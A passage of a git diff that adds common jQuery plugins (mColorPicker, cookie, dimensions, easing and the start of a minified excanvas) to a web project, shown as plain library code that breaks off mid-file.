$.fn.mColorPicker.init.replace) { + + $(document).bind($.fn.mColorPicker.init.checkRedraw + '.mColorPicker', function () { + + $('input[data-mcolorpicker!="true"]').filter(function() { + + return ($.fn.mColorPicker.init.replace == '[type=color]')? this.getAttribute("type") == 'color': $(this).is($.fn.mColorPicker.init.replace); + }).mColorPicker(); + }); + } + }; + + $.fn.mColorPicker.drawPickerTriggers = function ($t) { + + if ($t[0].nodeName.toLowerCase() != 'input') return false; + + var id = $t.attr('id') || 'color_' + $.fn.mColorPicker.init.index++, + hidden = false; + + $t.attr('id', id); + + if ($t.attr('text') == 'hidden' || $t.attr('data-text') == 'hidden') hidden = true; + + var color = $t.val(), + width = ($t.width() > 0)? $t.width(): parseInt($t.css('width'), 10), + height = ($t.height())? $t.height(): parseInt($t.css('height'), 10), + flt = $t.css('float'), + image = (color == 'transparent')? "url('" + $o.imageFolder + "/grid.gif')": '', + colorPicker = ''; + + $('body').append(''); + $('span#color_work_area').append($t.clone(true)); + colorPicker = $('span#color_work_area').html().replace(/type="color"/gi, '').replace(/input /gi, (hidden)? 'input type="hidden"': 'input type="text"'); + $('span#color_work_area').html('').remove(); + $t.after( + (hidden)? ' ': '' + ).after(colorPicker).remove(); + + if (hidden) { + + $('#icp_' + id).css({ + 'background-color': color, + 'background-image': image, + 'display': 'inline-block' + }).attr( + 'class', $('#' + id).attr('class') + ).addClass( + 'mColorPickerTrigger' + ); + } else { + + $('#' + id).css({ + 'background-color': color, + 'background-image': image + }).css({ + 'color': $.fn.mColorPicker.textColor($('#' + id).css('background-color')) + }).after( + '' + ).addClass('mColorPickerInput'); + } + + $('#icp_' + id).attr('data-mcolorpicker', 'true'); + + $('#' + id).addClass('mColorPicker'); + + return $('#' + id); + }; + + $.fn.mColorPicker.drawPicker = function () { + + $(document.createElement("div")).attr( + "id","mColorPicker" + ).css( + 'display','none' + ).html( + '
    ' + ).appendTo("body"); + + $(document.createElement("div")).attr("id","mColorPickerBg").css({ + 'display': 'none' + }).appendTo("body"); + + for (n = 9; n > -1; n--) { + + $(document.createElement("div")).attr({ + 'id': 'cell' + n, + 'class': "mPastColor" + ((n > 0)? ' mNoLeftBorder': '') + }).html( + ' ' + ).prependTo("#mColorPickerSwatches"); + } + + $('#mColorPicker').css({ + 'border':'1px solid #ccc', + 'color':'#fff', + 'z-index':999998, + 'width':'194px', + 'height':'184px', + 'font-size':'12px', + 'font-family':'times' + }); + + $('.mPastColor').css({ + 'height':'18px', + 'width':'18px', + 'border':'1px solid #000', + 'float':'left' + }); + + $('#colorPreview').css({ + 'height':'50px' + }); + + $('.mNoLeftBorder').css({ + 'border-left':0 + }); + + $('.mClear').css({ + 'clear':'both' + }); + + $('#mColorPickerWrapper').css({ + 'position':'relative', + 'border':'solid 1px gray', + 'z-index':999999 + }); + + $('#mColorPickerImg').css({ + 'height':'128px', + 'width':'192px', + 'border':0, + 'cursor':'crosshair', + 'background-image':"url('" + $o.imageFolder + "colorpicker.png')" + }); + + $('#mColorPickerImgGray').css({ + 'height':'8px', + 'width':'192px', + 'border':0, + 'cursor':'crosshair', + 'background-image':"url('" + $o.imageFolder + "graybar.jpg')" + }); + + $('#mColorPickerInput').css({ + 'border':'solid 1px gray', + 'font-size':'10pt', + 'margin':'3px', + 'width':'80px' + }); + + $('#mColorPickerImgGrid').css({ + 'border':0, + 'height':'20px', + 'width':'20px', + 'vertical-align':'text-bottom' + }); + + $('#mColorPickerSwatches').css({ + 'border-right':'1px solid #000' + }); + + $('#mColorPickerFooter').css({ + 'background-image':"url('" + $o.imageFolder + "grid.gif')", + 'position': 'relative', + 'height':'26px' + }); + + if ($.fn.mColorPicker.init.allowTransparency) $('#mColorPickerFooter').prepend('transparent'); + if ($.fn.mColorPicker.init.showLogo) $('#mColorPickerFooter').prepend('Meta100 - Designing Fun'); + + $("#mColorPickerBg").click($.fn.mColorPicker.closePicker); + + var swatch = $.fn.mColorPicker.getCookie('swatches'), + i = 0; + + if (typeof swatch == 'string') swatch = swatch.split('||'); + if (swatch == null || $.fn.mColorPicker.init.enhancedSwatches || swatch.length < 10) swatch = $o.swatches; + + $(".mPastColor").each(function() { + + $(this).css('background-color', swatch[i++].toLowerCase()); + }); + }; + + $.fn.mColorPicker.closePicker = function () { + + $(".mColor, .mPastColor, #mColorPickerInput, #mColorPickerWrapper").unbind(); + $("#mColorPickerBg").hide(); + $("#mColorPicker").fadeOut() + }; + + $.fn.mColorPicker.colorShow = function (id) { + + var $e = $("#icp_" + id); + pos = $e.offset(), + $i = $("#" + id); + hex = $i.attr('data-hex') || $i.attr('hex'), + pickerTop = pos.top + $e.outerHeight(), + pickerLeft = pos.left, + $d = $(document), + $m = $("#mColorPicker"); + + if ($i.attr('disabled')) return false; + + // KEEP COLOR PICKER IN VIEWPORT + if (pickerTop + $m.height() > $d.height()) pickerTop = pos.top - $m.height(); + if (pickerLeft + $m.width() > $d.width()) pickerLeft = pos.left - $m.width() + $e.outerWidth(); + + $m.css({ + 'top':(pickerTop) + "px", + 'left':(pickerLeft) + "px", + 'position':'absolute' + }).fadeIn("fast"); + + $("#mColorPickerBg").css({ + 'z-index':999990, + 'background':'black', + 'opacity': .01, + 'position':'absolute', + 'top':0, + 'left':0, + 'width': parseInt($d.width(), 10) + 'px', + 'height': parseInt($d.height(), 10) + 'px' + }).show(); + + var def = $i.val(); + + $('#colorPreview span').text(def); + $('#colorPreview').css('background', def); + $('#color').val(def); + + if ($('#' + id).attr('data-text')) $.fn.mColorPicker.currentColor = $e.css('background-color'); + else $.fn.mColorPicker.currentColor = $i.css('background-color'); + + if (hex == 'true') $.fn.mColorPicker.currentColor = $.fn.mColorPicker.RGBtoHex($.fn.mColorPicker.currentColor); + + $("#mColorPickerInput").val($.fn.mColorPicker.currentColor); + + $('.mColor, .mPastColor').bind('mousemove', function(e) { + + var offset = $(this).offset(); + + $.fn.mColorPicker.color = $(this).css("background-color"); + + if ($(this).hasClass('mPastColor') && hex == 'true') $.fn.mColorPicker.color = $.fn.mColorPicker.RGBtoHex($.fn.mColorPicker.color); + else if ($(this).hasClass('mPastColor') && hex != 'true') $.fn.mColorPicker.color = $.fn.mColorPicker.hexToRGB($.fn.mColorPicker.color); + else if ($(this).attr('id') == 'mColorPickerTransparent') $.fn.mColorPicker.color = 'transparent'; + else if (!$(this).hasClass('mPastColor')) $.fn.mColorPicker.color = $.fn.mColorPicker.whichColor(e.pageX - offset.left, e.pageY - offset.top + (($(this).attr('id') == 'mColorPickerImgGray')? 128: 0), hex); + + $.fn.mColorPicker.setInputColor(id, $.fn.mColorPicker.color); + }).click(function() { + + $.fn.mColorPicker.colorPicked(id); + }); + + $('#mColorPickerInput').bind('keyup', function (e) { + + try { + + $.fn.mColorPicker.color = $('#mColorPickerInput').val(); + $.fn.mColorPicker.setInputColor(id, $.fn.mColorPicker.color); + + if (e.which == 13) $.fn.mColorPicker.colorPicked(id); + } catch (r) {} + + }).bind('blur', function () { + + $.fn.mColorPicker.setInputColor(id, $.fn.mColorPicker.currentColor); + }); + + $('#mColorPickerWrapper').bind('mouseleave', function () { + + $.fn.mColorPicker.setInputColor(id, $.fn.mColorPicker.currentColor); + }); + }; + + $.fn.mColorPicker.setInputColor = function (id, color) { + + var image = (color == 'transparent')? "url('" + $o.imageFolder + "grid.gif')": '', + textColor = $.fn.mColorPicker.textColor(color); + + if ($('#' + id).attr('data-text') || $('#' + id).attr('text')) $("#icp_" + id).css({'background-color': color, 'background-image': image}); + $("#" + id).val(color).css({'background-color': color, 'background-image': image, 'color' : textColor}).trigger('change'); + $("#mColorPickerInput").val(color); + }; + + $.fn.mColorPicker.textColor = function (val) { + + if (typeof val == 'undefined' || val == 'transparent') return "black"; + val = $.fn.mColorPicker.RGBtoHex(val); + return (parseInt(val.substr(1, 2), 16) + parseInt(val.substr(3, 2), 16) + parseInt(val.substr(5, 2), 16) < 400)? 'white': 'black'; + }; + + $.fn.mColorPicker.setCookie = function (name, value, days) { + + var cookie_string = name + "=" + escape(value), + expires = new Date(); + expires.setDate(expires.getDate() + days); + cookie_string += "; expires=" + expires.toGMTString(); + + document.cookie = cookie_string; + }; + + $.fn.mColorPicker.getCookie = function (name) { + + var results = document.cookie.match ( '(^|;) ?' + name + '=([^;]*)(;|$)' ); + + if (results) return (unescape(results[2])); + else return null; + }; + + $.fn.mColorPicker.colorPicked = function (id) { + + $.fn.mColorPicker.closePicker(); + + if ($.fn.mColorPicker.init.enhancedSwatches) $.fn.mColorPicker.addToSwatch(); + + $("#" + id).trigger('colorpicked'); + }; + + $.fn.mColorPicker.addToSwatch = function (color) { + + var swatch = [] + i = 0; + + if (typeof color == 'string') $.fn.mColorPicker.color = color.toLowerCase(); + + $.fn.mColorPicker.currentValue = $.fn.mColorPicker.currentColor = $.fn.mColorPicker.color; + + if ($.fn.mColorPicker.color != 'transparent') swatch[0] = $.fn.mColorPicker.color.toLowerCase(); + + $('.mPastColor').each(function() { + + $.fn.mColorPicker.color = $(this).css('background-color').toLowerCase(); + + if ($.fn.mColorPicker.color != swatch[0] && $.fn.mColorPicker.RGBtoHex($.fn.mColorPicker.color) != swatch[0] && $.fn.mColorPicker.hexToRGB($.fn.mColorPicker.color) != swatch[0] && swatch.length < 10) swatch[swatch.length] = $.fn.mColorPicker.color; + + $(this).css('background-color', swatch[i++]) + }); + + if ($.fn.mColorPicker.init.enhancedSwatches) $.fn.mColorPicker.setCookie('swatches', swatch.join('||'), 365); + }; + + $.fn.mColorPicker.whichColor = function (x, y, hex) { + + var colorR = colorG = colorB = 255; + + if (x < 32) { + + colorG = x * 8; + colorB = 0; + } else if (x < 64) { + + colorR = 256 - (x - 32 ) * 8; + colorB = 0; + } else if (x < 96) { + + colorR = 0; + colorB = (x - 64) * 8; + } else if (x < 128) { + + colorR = 0; + colorG = 256 - (x - 96) * 8; + } else if (x < 160) { + + colorR = (x - 128) * 8; + colorG = 0; + } else { + + colorG = 0; + colorB = 256 - (x - 160) * 8; + } + + if (y < 64) { + + colorR += (256 - colorR) * (64 - y) / 64; + colorG += (256 - colorG) * (64 - y) / 64; + colorB += (256 - colorB) * (64 - y) / 64; + } else if (y <= 128) { + + colorR -= colorR * (y - 64) / 64; + colorG -= colorG * (y - 64) / 64; + colorB -= colorB * (y - 64) / 64; + } else if (y > 128) { + + colorR = colorG = colorB = 256 - ( x / 192 * 256 ); + } + + colorR = Math.round(Math.min(colorR, 255)); + colorG = Math.round(Math.min(colorG, 255)); + colorB = Math.round(Math.min(colorB, 255)); + + if (hex == 'true') { + + colorR = colorR.toString(16); + colorG = colorG.toString(16); + colorB = colorB.toString(16); + + if (colorR.length < 2) colorR = 0 + colorR; + if (colorG.length < 2) colorG = 0 + colorG; + if (colorB.length < 2) colorB = 0 + colorB; + + return "#" + colorR + colorG + colorB; + } + + return "rgb(" + colorR + ', ' + colorG + ', ' + colorB + ')'; + }; + + $.fn.mColorPicker.RGBtoHex = function (color) { + + color = color.toLowerCase(); + + if (typeof color == 'undefined') return ''; + if (color.indexOf('#') > -1 && color.length > 6) return color; + if (color.indexOf('rgb') < 0) return color; + + if (color.indexOf('#') > -1) { + + return '#' + color.substr(1, 1) + color.substr(1, 1) + color.substr(2, 1) + color.substr(2, 1) + color.substr(3, 1) + color.substr(3, 1); + } + + var hexArray = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f"], + decToHex = "#", + code1 = 0; + + color = color.replace(/[^0-9,]/g, '').split(","); + + for (var n = 0; n < color.length; n++) { + + code1 = Math.floor(color[n] / 16); + decToHex += hexArray[code1] + hexArray[color[n] - code1 * 16]; + } + + return decToHex; + }; + + $.fn.mColorPicker.hexToRGB = function (color) { + + color = color.toLowerCase(); + + if (typeof color == 'undefined') return ''; + if (color.indexOf('rgb') > -1) return color; + if (color.indexOf('#') < 0) return color; + + var c = color.replace('#', ''); + + if (c.length < 6) c = c.substr(0, 1) + c.substr(0, 1) + c.substr(1, 1) + c.substr(1, 1) + c.substr(2, 1) + c.substr(2, 1); + + return 'rgb(' + parseInt(c.substr(0, 2), 16) + ', ' + parseInt(c.substr(2, 2), 16) + ', ' + parseInt(c.substr(4, 2), 16) + ')'; + }; + + $(document).ready(function () { + + if ($.fn.mColorPicker.init.replace) { + + $('input[data-mcolorpicker!="true"]').filter(function() { + + return ($.fn.mColorPicker.init.replace == '[type=color]')? this.getAttribute("type") == 'color': $(this).is($.fn.mColorPicker.init.replace); + }).mColorPicker(); + + $.fn.mColorPicker.liveEvents(); + } + }); +})(jQuery); \ No newline at end of file diff --git a/js/jquery/plugins/jquery.cookie-plugin.js b/js/jquery/plugins/jquery.cookie-plugin.js new file mode 100755 index 0000000..f084e78 --- /dev/null +++ b/js/jquery/plugins/jquery.cookie-plugin.js @@ -0,0 +1,47 @@ +/*! + * jQuery Cookie Plugin + * https://github.com/carhartl/jquery-cookie + * + * Copyright 2011, Klaus Hartl + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://www.opensource.org/licenses/mit-license.php + * http://www.opensource.org/licenses/GPL-2.0 + */ +(function($) { + $.cookie = function(key, value, options) { + + // key and at least value given, set cookie... + if (arguments.length > 1 && (!/Object/.test(Object.prototype.toString.call(value)) || value === null || value === undefined)) { + options = $.extend({}, options); + + if (value === null || value === undefined) { + options.expires = -1; + } + + if (typeof options.expires === 'number') { + var days = options.expires, t = options.expires = new Date(); + t.setDate(t.getDate() + days); + } + + value = String(value); + + return (document.cookie = [ + encodeURIComponent(key), '=', options.raw ? value : encodeURIComponent(value), + options.expires ? '; expires=' + options.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE + options.path ? '; path=' + options.path : '', + options.domain ? '; domain=' + options.domain : '', + options.secure ? '; secure' : '' + ].join('')); + } + + // key and possibly options given, get cookie... + options = value || {}; + var decode = options.raw ? function(s) { return s; } : decodeURIComponent; + + var pairs = document.cookie.split('; '); + for (var i = 0, pair; pair = pairs[i] && pairs[i].split('='); i++) { + if (decode(pair[0]) === key) return decode(pair[1] || ''); // IE saves cookies with empty string as "c; ", e.g. without "=" as opposed to EOMB, thus pair[1] may be undefined + } + return null; + }; +})(jQuery); diff --git a/js/jquery/plugins/jquery.dimensions.js b/js/jquery/plugins/jquery.dimensions.js new file mode 100755 index 0000000..ddbd642 --- /dev/null +++ b/js/jquery/plugins/jquery.dimensions.js @@ -0,0 +1,12 @@ +/* Copyright (c) 2007 Paul Bakaus (paul.bakaus@googlemail.com) and Brandon Aaron (brandon.aaron@gmail.com || http://brandonaaron.net) + * Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php) + * and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses. + * + * $LastChangedDate: 2011-06-03 16:46:51 +0200 (ven. 03 juin 2011) $ + * $Rev: 6844 $ + * + * Version: 1.2 + * + * Requires: jQuery 1.2+ + */ +(function($){$.dimensions={version:'1.2'};$.each(['Height','Width'],function(i,name){$.fn['inner'+name]=function(){if(!this[0])return;var torl=name=='Height'?'Top':'Left',borr=name=='Height'?'Bottom':'Right';return this.is(':visible')?this[0]['client'+name]:num(this,name.toLowerCase())+num(this,'padding'+torl)+num(this,'padding'+borr);};$.fn['outer'+name]=function(options){if(!this[0])return;var torl=name=='Height'?'Top':'Left',borr=name=='Height'?'Bottom':'Right';options=$.extend({margin:false},options||{});var val=this.is(':visible')?this[0]['offset'+name]:num(this,name.toLowerCase())+num(this,'border'+torl+'Width')+num(this,'border'+borr+'Width')+num(this,'padding'+torl)+num(this,'padding'+borr);return val+(options.margin?(num(this,'margin'+torl)+num(this,'margin'+borr)):0);};});$.each(['Left','Top'],function(i,name){$.fn['scroll'+name]=function(val){if(!this[0])return;return val!=undefined?this.each(function(){this==window||this==document?window.scrollTo(name=='Left'?val:$(window)['scrollLeft'](),name=='Top'?val:$(window)['scrollTop']()):this['scroll'+name]=val;}):this[0]==window||this[0]==document?self[(name=='Left'?'pageXOffset':'pageYOffset')]||$.boxModel&&document.documentElement['scroll'+name]||document.body['scroll'+name]:this[0]['scroll'+name];};});$.fn.extend({position:function(){var left=0,top=0,elem=this[0],offset,parentOffset,offsetParent,results;if(elem){offsetParent=this.offsetParent();offset=this.offset();parentOffset=offsetParent.offset();offset.top-=num(elem,'marginTop');offset.left-=num(elem,'marginLeft');parentOffset.top+=num(offsetParent,'borderTopWidth');parentOffset.left+=num(offsetParent,'borderLeftWidth');results={top:offset.top-parentOffset.top,left:offset.left-parentOffset.left};}return results;},offsetParent:function(){var offsetParent=this[0].offsetParent;while(offsetParent&&(!/^body|html$/i.test(offsetParent.tagName)&&$.css(offsetParent,'position')=='static'))offsetParent=offsetParent.offsetParent;return $(offsetParent);}});function num(el,prop){return parseInt($.curCSS(el.jquery?el[0]:el,prop,true))||0;};})(jQuery); \ No newline at end of file diff --git a/js/jquery/plugins/jquery.easing.js b/js/jquery/plugins/jquery.easing.js new file mode 100755 index 0000000..0369b1d --- /dev/null +++ b/js/jquery/plugins/jquery.easing.js @@ -0,0 +1,146 @@ +/* + * jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/ + * + * Uses the built In easIng capabilities added In jQuery 1.1 + * to offer multiple easIng options + * + * Copyright (c) 2007 George Smith + * Licensed under the MIT License: + * http://www.opensource.org/licenses/mit-license.php + */ + +// t: current time, b: begInnIng value, c: change In value, d: duration +jQuery.easing['jswing'] = jQuery.easing['swing']; + +jQuery.extend( jQuery.easing, +{ + def: 'easeOutQuad', + swing: function (x, t, b, c, d) { + //alert(jQuery.easing.default); + return jQuery.easing[jQuery.easing.def](x, t, b, c, d); + }, + easeInQuad: function (x, t, b, c, d) { + return c*(t/=d)*t + b; + }, + easeOutQuad: function (x, t, b, c, d) { + return -c *(t/=d)*(t-2) + b; + }, + easeInOutQuad: function (x, t, b, c, d) { + if ((t/=d/2) < 1) return c/2*t*t + b; + return -c/2 * ((--t)*(t-2) - 1) + b; + }, + easeInCubic: function (x, t, b, c, d) { + return c*(t/=d)*t*t + b; + }, + easeOutCubic: function (x, t, b, c, d) { + return c*((t=t/d-1)*t*t + 1) + b; + }, + easeInOutCubic: function (x, t, b, c, d) { + if ((t/=d/2) < 1) return c/2*t*t*t + b; + return c/2*((t-=2)*t*t + 2) + b; + }, + easeInQuart: function (x, t, b, c, d) { + return c*(t/=d)*t*t*t + b; + }, + easeOutQuart: function (x, t, b, c, d) { + return -c * ((t=t/d-1)*t*t*t - 1) + b; + }, + easeInOutQuart: function (x, t, b, c, d) { + if ((t/=d/2) < 1) return c/2*t*t*t*t + b; + return -c/2 * ((t-=2)*t*t*t - 2) + b; + }, + easeInQuint: function (x, t, b, c, d) { + return c*(t/=d)*t*t*t*t + b; + }, + easeOutQuint: function (x, t, b, c, d) { + return c*((t=t/d-1)*t*t*t*t + 1) + b; + }, + easeInOutQuint: function (x, t, b, c, d) { + if ((t/=d/2) < 1) return c/2*t*t*t*t*t + b; + return c/2*((t-=2)*t*t*t*t + 2) + b; + }, + easeInSine: function (x, t, b, c, d) { + return -c * Math.cos(t/d * (Math.PI/2)) + c + b; + }, + easeOutSine: function (x, t, b, c, d) { + return c * Math.sin(t/d * (Math.PI/2)) + b; + }, + easeInOutSine: function (x, t, b, c, d) { + return -c/2 * (Math.cos(Math.PI*t/d) - 1) + b; + }, + easeInExpo: function (x, t, b, c, d) { + return (t==0) ? b : c * Math.pow(2, 10 * (t/d - 1)) + b; + }, + easeOutExpo: function (x, t, b, c, d) { + return (t==d) ? b+c : c * (-Math.pow(2, -10 * t/d) + 1) + b; + }, + easeInOutExpo: function (x, t, b, c, d) { + if (t==0) return b; + if (t==d) return b+c; + if ((t/=d/2) < 1) return c/2 * Math.pow(2, 10 * (t - 1)) + b; + return c/2 * (-Math.pow(2, -10 * --t) + 2) + b; + }, + easeInCirc: function (x, t, b, c, d) { + return -c * (Math.sqrt(1 - (t/=d)*t) - 1) + b; + }, + easeOutCirc: function (x, t, b, c, d) { + return c * Math.sqrt(1 - (t=t/d-1)*t) + b; + }, + easeInOutCirc: function (x, t, b, c, d) { + if ((t/=d/2) < 1) return -c/2 * (Math.sqrt(1 - t*t) - 1) + b; + return c/2 * (Math.sqrt(1 - (t-=2)*t) + 1) + b; + }, + easeInElastic: function (x, t, b, c, d) { + var s=1.70158;var p=0;var a=c; + if (t==0) return b; if ((t/=d)==1) return b+c; if (!p) p=d*.3; + if (a < Math.abs(c)) { a=c; var s=p/4; } + else var s = p/(2*Math.PI) * Math.asin (c/a); + return -(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b; + }, + easeOutElastic: function (x, t, b, c, d) { + var s=1.70158;var p=0;var a=c; + if (t==0) return b; if ((t/=d)==1) return b+c; if (!p) p=d*.3; + if (a < Math.abs(c)) { a=c; var s=p/4; } + else var s = p/(2*Math.PI) * Math.asin (c/a); + return a*Math.pow(2,-10*t) * Math.sin( (t*d-s)*(2*Math.PI)/p ) + c + b; + }, + easeInOutElastic: function (x, t, b, c, d) { + var s=1.70158;var p=0;var a=c; + if (t==0) return b; if ((t/=d/2)==2) return b+c; if (!p) p=d*(.3*1.5); + if (a < Math.abs(c)) { a=c; var s=p/4; } + else var s = p/(2*Math.PI) * Math.asin (c/a); + if (t < 1) return -.5*(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b; + return a*Math.pow(2,-10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )*.5 + c + b; + }, + easeInBack: function (x, t, b, c, d, s) { + if (s == undefined) s = 1.70158; + return c*(t/=d)*t*((s+1)*t - s) + b; + }, + easeOutBack: function (x, t, b, c, d, s) { + if (s == undefined) s = 1.70158; + return c*((t=t/d-1)*t*((s+1)*t + s) + 1) + b; + }, + easeInOutBack: function (x, t, b, c, d, s) { + if (s == undefined) s = 1.70158; + if ((t/=d/2) < 1) return c/2*(t*t*(((s*=(1.525))+1)*t - s)) + b; + return c/2*((t-=2)*t*(((s*=(1.525))+1)*t + s) + 2) + b; + }, + easeInBounce: function (x, t, b, c, d) { + return c - jQuery.easing.easeOutBounce (x, d-t, 0, c, d) + b; + }, + easeOutBounce: function (x, t, b, c, d) { + if ((t/=d) < (1/2.75)) { + return c*(7.5625*t*t) + b; + } else if (t < (2/2.75)) { + return c*(7.5625*(t-=(1.5/2.75))*t + .75) + b; + } else if (t < (2.5/2.75)) { + return c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b; + } else { + return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b; + } + }, + easeInOutBounce: function (x, t, b, c, d) { + if (t < d/2) return jQuery.easing.easeInBounce (x, t*2, 0, c, d) * .5 + b; + return jQuery.easing.easeOutBounce (x, t*2-d, 0, c, d) * .5 + c*.5 + b; + } +}); diff --git a/js/jquery/plugins/jquery.excanvas.js b/js/jquery/plugins/jquery.excanvas.js new file mode 100755 index 0000000..12c74f7 --- /dev/null +++ b/js/jquery/plugins/jquery.excanvas.js @@ -0,0 +1 @@ +if(!document.createElement("canvas").getContext){(function(){var z=Math;var K=z.round;var J=z.sin;var U=z.cos;var b=z.abs;var k=z.sqrt;var D=10;var F=D/2;function T(){return this.context_||(this.context_=new W(this))}var O=Array.prototype.slice;function G(i,j,m){var Z=O.call(arguments,2);return function(){return i.apply(j,Z.concat(O.call(arguments)))}}function AD(Z){return String(Z).replace(/&/g,"&").replace(/"/g,""")}function r(i){if(!i.namespaces.g_vml_){i.namespaces.add("g_vml_","urn:schemas-microsoft-com:vml","#default#VML")}if(!i.namespaces.g_o_){i.namespaces.add("g_o_","urn:schemas-microsoft-com:office:office","#default#VML")}if(!i.styleSheets.ex_canvas_){var Z=i.createStyleSheet();Z.owningElement.id="ex_canvas_";Z.cssText="canvas{display:inline-block;overflow:hidden;text-align:left;width:300px;height:150px}"}}r(document);var E={init:function(Z){if(/MSIE/.test(navigator.userAgent)&&!window.opera){var i=Z||document;i.createElement("canvas");i.attachEvent("onreadystatechange",G(this.init_,this,i))}},init_:function(m){var j=m.getElementsByTagName("canvas");for(var Z=0;Z1){j--}if(6*j<1){return i+(Z-i)*6*j}else{if(2*j<1){return Z}else{if(3*j<2){return i+(Z-i)*(2/3-j)*6}else{return i}}}}function Y(Z){var AE,p=1;Z=String(Z);if(Z.charAt(0)=="#"){AE=Z}else{if(/^rgb/.test(Z)){var m=g(Z);var AE="#",AF;for(var j=0;j<3;j++){if(m[j].indexOf("%")!=-1){AF=Math.floor(C(m[j])*255)}else{AF=Number(m[j])}AE+=I[N(AF,0,255)]}p=m[3]}else{if(/^hsl/.test(Z)){var m=g(Z);AE=c(m);p=m[3]}else{AE=B[Z]||Z}}}return{color:AE,alpha:p}}var L={style:"normal",variant:"normal",weight:"normal",size:10,family:"sans-serif"};var f={};function X(Z){if(f[Z]){return f[Z]}var m=document.createElement("div");var j=m.style;try{j.font=Z}catch(i){}return f[Z]={style:j.fontStyle||L.style,variant:j.fontVariant||L.variant,weight:j.fontWeight||L.weight,size:j.fontSize||L.size,family:j.fontFamily||L.family}}function P(j,i){var Z={};for(var AF in j){Z[AF]=j[AF]}var AE=parseFloat(i.currentStyle.fontSize),m=parseFloat(j.size);if(typeof j.size=="number"){Z.size=j.size}else{if(j.size.indexOf("px")!=-1){Z.size=m}else{if(j.size.indexOf("em")!=-1){Z.size=AE*m}else{if(j.size.indexOf("%")!=-1){Z.size=(AE/100)*m}else{if(j.size.indexOf("pt")!=-1){Z.size=m/0.75}else{Z.size=AE}}}}}Z.size*=0.981;return Z}function AA(Z){return Z.style+" "+Z.variant+" "+Z.weight+" "+Z.size+"px "+Z.family}function t(Z){switch(Z){case"butt":return"flat";case"round":return"round";case"square":default:return"square"}}function W(i){this.m_=V();this.mStack_=[];this.aStack_=[];this.currentPath_=[];this.strokeStyle="#000";this.fillStyle="#000";this.lineWidth=1;this.lineJoin="miter";this.lineCap="butt";this.miterLimit=D*1;this.globalAlpha=1;this.font="10px sans-serif";this.textAlign="left";this.textBaseline="alphabetic";this.canvas=i;var Z=i.ownerDocument.createElement("div");Z.style.width=i.clientWidth+"px";Z.style.height=i.clientHeight+"px";Z.style.overflow="hidden";Z.style.position="absolute";i.appendChild(Z);this.element_=Z;this.arcScaleX_=1;this.arcScaleY_=1;this.lineScale_=1}var M=W.prototype;M.clearRect=function(){if(this.textMeasureEl_){this.textMeasureEl_.removeNode(true);this.textMeasureEl_=null}this.element_.innerHTML=""};M.beginPath=function(){this.currentPath_=[]};M.moveTo=function(i,Z){var j=this.getCoords_(i,Z);this.currentPath_.push({type:"moveTo",x:j.x,y:j.y});this.currentX_=j.x;this.currentY_=j.y};M.lineTo=function(i,Z){var j=this.getCoords_(i,Z);this.currentPath_.push({type:"lineTo",x:j.x,y:j.y});this.currentX_=j.x;this.currentY_=j.y};M.bezierCurveTo=function(j,i,AI,AH,AG,AE){var Z=this.getCoords_(AG,AE);var AF=this.getCoords_(j,i);var m=this.getCoords_(AI,AH);e(this,AF,m,Z)};function e(Z,m,j,i){Z.currentPath_.push({type:"bezierCurveTo",cp1x:m.x,cp1y:m.y,cp2x:j.x,cp2y:j.y,x:i.x,y:i.y});Z.currentX_=i.x;Z.currentY_=i.y}M.quadraticCurveTo=function(AG,j,i,Z){var AF=this.getCoords_(AG,j);var AE=this.getCoords_(i,Z);var AH={x:this.currentX_+2/3*(AF.x-this.currentX_),y:this.currentY_+2/3*(AF.y-this.currentY_)};var m={x:AH.x+(AE.x-this.currentX_)/3,y:AH.y+(AE.y-this.currentY_)/3};e(this,AH,m,AE)};M.arc=function(AJ,AH,AI,AE,i,j){AI*=D;var AN=j?"at":"wa";var AK=AJ+U(AE)*AI-F;var AM=AH+J(AE)*AI-F;var Z=AJ+U(i)*AI-F;var AL=AH+J(i)*AI-F;if(AK==Z&&!j){AK+=0.125}var m=this.getCoords_(AJ,AH);var AG=this.getCoords_(AK,AM);var AF=this.getCoords_(Z,AL);this.currentPath_.push({type:AN,x:m.x,y:m.y,radius:AI,xStart:AG.x,yStart:AG.y,xEnd:AF.x,yEnd:AF.y})};M.rect=function(j,i,Z,m){this.moveTo(j,i);this.lineTo(j+Z,i);this.lineTo(j+Z,i+m);this.lineTo(j,i+m);this.closePath()};M.strokeRect=function(j,i,Z,m){var p=this.currentPath_;this.beginPath();this.moveTo(j,i);this.lineTo(j+Z,i);this.lineTo(j+Z,i+m);this.lineTo(j,i+m);this.closePath();this.stroke();this.currentPath_=p};M.fillRect=function(j,i,Z,m){var p=this.currentPath_;this.beginPath();this.moveTo(j,i);this.lineTo(j+Z,i);this.lineTo(j+Z,i+m);this.lineTo(j,i+m);this.closePath();this.fill();this.currentPath_=p};M.createLinearGradient=function(i,m,Z,j){var p=new v("gradient");p.x0_=i;p.y0_=m;p.x1_=Z;p.y1_=j;return p};M.createRadialGradient=function(m,AE,j,i,p,Z){var AF=new v("gradientradial");AF.x0_=m;AF.y0_=AE;AF.r0_=j;AF.x1_=i;AF.y1_=p;AF.r1_=Z;return AF};M.drawImage=function(AO,j){var AH,AF,AJ,AV,AM,AK,AQ,AX;var AI=AO.runtimeStyle.width;var AN=AO.runtimeStyle.height;AO.runtimeStyle.width="auto";AO.runtimeStyle.height="auto";var AG=AO.width;var AT=AO.height;AO.runtimeStyle.width=AI;AO.runtimeStyle.height=AN;if(arguments.length==3){AH=arguments[1];AF=arguments[2];AM=AK=0;AQ=AJ=AG;AX=AV=AT}else{if(arguments.length==5){AH=arguments[1];AF=arguments[2];AJ=arguments[3];AV=arguments[4];AM=AK=0;AQ=AG;AX=AT}else{if(arguments.length==9){AM=arguments[1];AK=arguments[2];AQ=arguments[3];AX=arguments[4];AH=arguments[5];AF=arguments[6];AJ=arguments[7];AV=arguments[8]}else{throw Error("Invalid number of arguments")}}}var 